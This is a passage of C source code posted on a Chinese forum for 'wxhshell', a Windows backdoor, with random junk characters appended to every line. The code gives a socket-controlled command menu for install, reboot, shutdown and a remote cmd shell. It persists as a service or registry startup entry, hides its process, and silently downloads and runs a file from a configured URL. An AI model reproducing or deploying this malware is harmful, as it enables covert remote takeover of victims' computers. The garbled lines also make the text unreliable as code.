  // 帮助 z(]*'0)P  
  case '?': { %1 v)rg y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N7E[wOP  
    break; *<UQ/)\  
  } A ssf f;  
  // 安装 |hpm|eZG"h  
  case 'i': { NBeGmC|  
    if(Install()) Qj=l OhM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R_*\?^k|A  
    else "L ,FUo^&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cVz.ac  
    break; Wb|IWn H$  
    } YgDgd\  
  // 卸载 T#( s2  
  case 'r': { -r,J>2`l  
    if(Uninstall()) \\'!<Bn2d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^GbyAYEp  
    else HU'd/5fun  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +<iw|vr  
    break; hcBfau;r  
    } 0VbZBLe  
  // 显示 wxhshell 所在路径 qvt~wJf<  
  case 'p': {  RFZrcM  
    char svExeFile[MAX_PATH]; Q~]R#S  
    strcpy(svExeFile,"\n\r"); 9xSAWKr,l  
      strcat(svExeFile,ExeFile); 5~sJ$5<,  
        send(wsh,svExeFile,strlen(svExeFile),0); & .#0jb1r  
    break; a@ lK+t  
    } w3& F e=c  
  // 重启 c_" .+Fa  
  case 'b': { $$8"i+,K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9LFg":  
    if(Boot(REBOOT)) T&!>lqU!J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +zlaYHj  
    else { 8IX6MfR}C  
    closesocket(wsh); mxWaX b  
    ExitThread(0); UA/3lH}  
    } D8h~?phK  
    break; r^@*Cir  
    } 3*; {C|]S  
  // 关机 ;hg]5r_  
  case 'd': { jf})"fz-*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s=6w-'; V  
    if(Boot(SHUTDOWN)) }^QY<Cp|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W=|B3}C?  
    else { c#l (~g$D+  
    closesocket(wsh); Lb];P"2e+  
    ExitThread(0); IUZsLNW  
    } eag$i.^aS  
    break; !WY@)qlf  
    } >i0FGmxH  
  // 获取shell f2d"b+H#  
  case 's': { F"bbU/5  
    CmdShell(wsh); ./6L&?*`~;  
    closesocket(wsh); aMHIOA%Kh  
    ExitThread(0); =}V`O>  
    break; O aZ~  
  } hsl Js^  
  // 退出 W9u (  
  case 'x': { #ucOjdquq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }R J2\CP  
    CloseIt(wsh); GI~;2 `V  
    break; 7f`jl/   
    } O|OPdD  
  // 离开 & XrV[d[>  
  case 'q': { KDY~9?}TM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3)T5}_  
    closesocket(wsh); `yVJ `} hm  
    WSACleanup(); S>'wb{jj!  
    exit(1); qV(Plt%  
    break; 3rWqt  
        } -m__I U  
  } }X AoMp  
  } ^i\zMMR  
sd=i!r)ya  
  // 提示信息 gz$=\=%>RL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nGP>M#F  
} XL"e<P;t  
  } }we"IqLb  
!867DX3*  
  return; @@I2bHy vb  
} *M8 4Dry`y  
#S1)n[  
// shell模块句柄 HL_MuyE  
int CmdShell(SOCKET sock) VR_1cwKBM  
{ Xe%n.DW m  
STARTUPINFO si; 8HWY]:| oh  
ZeroMemory(&si,sizeof(si)); Ds-%\@p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k|BEAdQ%M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EKDv3aFQZ#  
PROCESS_INFORMATION ProcessInfo; 6b)1B\p  
char cmdline[]="cmd"; jsL'O;K/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [y:6vC   
  return 0; OCX?U50am  
} $y`|zK|G-  
#_H=pNWe  
// 自身启动模式 nhy3E  
int StartFromService(void) 6%5A&&O(b  
{ @5kN L~2  
typedef struct aUJ&  
{ .2u%;)S  
  DWORD ExitStatus; b9:E0/6   
  DWORD PebBaseAddress; tnTr &o#  
  DWORD AffinityMask; Pl 5+Oo  
  DWORD BasePriority; gzuM>lf*{  
  ULONG UniqueProcessId; [OM Kk#vW  
  ULONG InheritedFromUniqueProcessId; cOS|B1xG  
}   PROCESS_BASIC_INFORMATION; !Dun<\  
j7i[z>:Y  
PROCNTQSIP NtQueryInformationProcess; n[{o~VN  
D@f%&|IZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z &PwNr/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8IVKS>  
5[I 9/4,  
  HANDLE             hProcess; H p1cVs  
  PROCESS_BASIC_INFORMATION pbi; T$'Ja'9Kj  
R (hq Ba/V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M>'-P  
  if(NULL == hInst ) return 0; } #$Y^ +UN  
(D))?jnC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (I\aGGW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :yO)g]KF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); QPGssQR6  
HeR-;L  
  if (!NtQueryInformationProcess) return 0; 6g<JPc  
<Q%o}m4Kt  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lM?P8#3  
  if(!hProcess) return 0; 9WHkw@<R+  
&&tQ,5H5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }G-qOt  
psYfz)1;  
  CloseHandle(hProcess); rYc?y  
lKe aI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f9#B(4Tgi  
if(hProcess==NULL) return 0; BPC$ v\a  
g*8sh  
HMODULE hMod; )L^WD$"'Q  
char procName[255]; :e gSW2"5S  
unsigned long cbNeeded; whvM^  
agt7b@-5=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /(vT49(]  
-B@jQg@ >  
  CloseHandle(hProcess); ncu> @K$n  
Y5(`/  
if(strstr(procName,"services")) return 1; // 以服务启动 \alRBHqE  
"IB)=Hc  
  return 0; // 注册表启动 jp2l}C  
}   }/M ~  
o.sa ?*  
// 主模块 3}XUYF;  
int StartWxhshell(LPSTR lpCmdLine) ;)UZT^f`)K  
{ EV]exYWB  
  SOCKET wsl; O@Xl_QNxc!  
BOOL val=TRUE; +-xA/nU.c  
  int port=0; ` R^[s56wp  
  struct sockaddr_in door; g pO@xk$  
!a?o9<V  
  if(wscfg.ws_autoins) Install(); 3WaYeol`  
I:='LH,  
port=atoi(lpCmdLine); m3.d!~U\  
&oNy~l o  
if(port<=0) port=wscfg.ws_port; [7L1y) I(  
?EKYKLwr  
  WSADATA data; pNE!waR>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $] w&`F-  
6nxf <1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e8P |eK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [f^~Z'TIN/  
  door.sin_family = AF_INET; b) .@ xS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )|\72Z~eq  
  door.sin_port = htons(port); Lv#DIQ8y  
9e.n1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A2F+$N  
closesocket(wsl); (\M&/X~q  
return 1; >WG$!o+R  
} !*EHr09N7  
# |2w^Kn  
  if(listen(wsl,2) == INVALID_SOCKET) { +-HaYB|p  
closesocket(wsl); `N2zeFG  
return 1; !MQo= k  
} R1A!ob  
  Wxhshell(wsl); Y#C=ku  
  WSACleanup(); Z'!jZF~4p  
]Kil/Y  
return 0; H6*F?a`)I  
;J2=6np  
} ^'[Rb!Q8  
`P"-9Ue=  
// 以NT服务方式启动 @;Yb6&I;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Fy^!*M-  
{ o^_z+JFwb  
DWORD   status = 0; KJJ8P`Kx  
  DWORD   specificError = 0xfffffff; DKYrh-MN  
,I'Y)SLx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \y#gh95  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N\ GBjr-d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4z?6[Cg<  
  serviceStatus.dwWin32ExitCode     = 0; %p@A8'b  
  serviceStatus.dwServiceSpecificExitCode = 0; 1+Ja4`o,iS  
  serviceStatus.dwCheckPoint       = 0; 0=7C-A1(D  
  serviceStatus.dwWaitHint       = 0; Xg#Dbf4  
e6#^4Y/+`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .2Gn)dZU  
  if (hServiceStatusHandle==0) return; Nqewtn9n  
L}x"U9'C  
status = GetLastError(); =<R77rnY&  
  if (status!=NO_ERROR) >:h 8T]F  
{ rOH8W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I)9;4lix  
    serviceStatus.dwCheckPoint       = 0; "7iHTV  
    serviceStatus.dwWaitHint       = 0; e2Ba@e-  
    serviceStatus.dwWin32ExitCode     = status; Z}$.Tm  
    serviceStatus.dwServiceSpecificExitCode = specificError; T3+hxS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T? _$  
    return; 1rT}mm/e;  
  } '2v,!G]^  
n%@xnB $ZX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ) T 3y,*  
  serviceStatus.dwCheckPoint       = 0; 1%EIP -z  
  serviceStatus.dwWaitHint       = 0; y7$e7~}/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3mpEF<z  
} Fg`r:,(a  
GfPe0&h  
// 处理NT服务事件,比如:启动、停止 Ku56TH!Py  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &2#<6=}  
{ Kx$?IxZ  
switch(fdwControl) (m~MyT#S  
{ ub./U@ 1  
case SERVICE_CONTROL_STOP: i#&]{]}Qv  
  serviceStatus.dwWin32ExitCode = 0; vQYd!DSh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Xy=|qu  
  serviceStatus.dwCheckPoint   = 0; rsy'ZVLUj  
  serviceStatus.dwWaitHint     = 0; n"d~UV^Uw  
  { NTls64AS.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?cowey\m .  
  } Z'PL?;&+R  
  return; lg;`ItX]  
case SERVICE_CONTROL_PAUSE: (Q\QZu@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -9vAY+s.  
  break; +2MsyA?6_  
case SERVICE_CONTROL_CONTINUE: XR]]g+Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )xlNj$(x5n  
  break; c"77<Db$  
case SERVICE_CONTROL_INTERROGATE: a{el1_DIGK  
  break; +#,t  
}; auaFP-$`f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZXe[>H  
} b]Oc6zR,,~  
1m|1eAGS{  
// 标准应用程序主函数 PBR+NHrZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H Viu7kue`  
{ 1K4LEg a`  
QWxCNt:^?  
// 获取操作系统版本 cSoZq4  
OsIsNt=GetOsVer(); ,1RW}1n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qS+'#Sn  
SQWA{f  
  // 从命令行安装 :.DCRs$Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); Cf2rRH  
Y -7x**I  
  // 下载执行文件 Dbz\8gmY  
if(wscfg.ws_downexe) { o!wz:|\S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,TeDJ\k  
  WinExec(wscfg.ws_filenam,SW_HIDE); _n Oio?  
} Uw<Lt"ls.  
;x| 4Tm  
if(!OsIsNt) {  Js'COO  
// 如果时win9x,隐藏进程并且设置为注册表启动 l?Bv9k.^?  
HideProc(); 3eFD[c%mN  
StartWxhshell(lpCmdLine); ir3iW*5k  
} Jel%1'Dc^  
else 1h"0B  
  if(StartFromService()) jQ1~B1(  
  // 以服务方式启动 ~ m, z|  
  StartServiceCtrlDispatcher(DispatchTable); ]l}8  
else L)HuQVc g  
  // 普通方式启动 LHR%dt|M  
  StartWxhshell(lpCmdLine); wC..LdSR  
12;" K?7{  
return 0; dcYUw]  
}
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只看该作者 1 发表于: 2006-10-10
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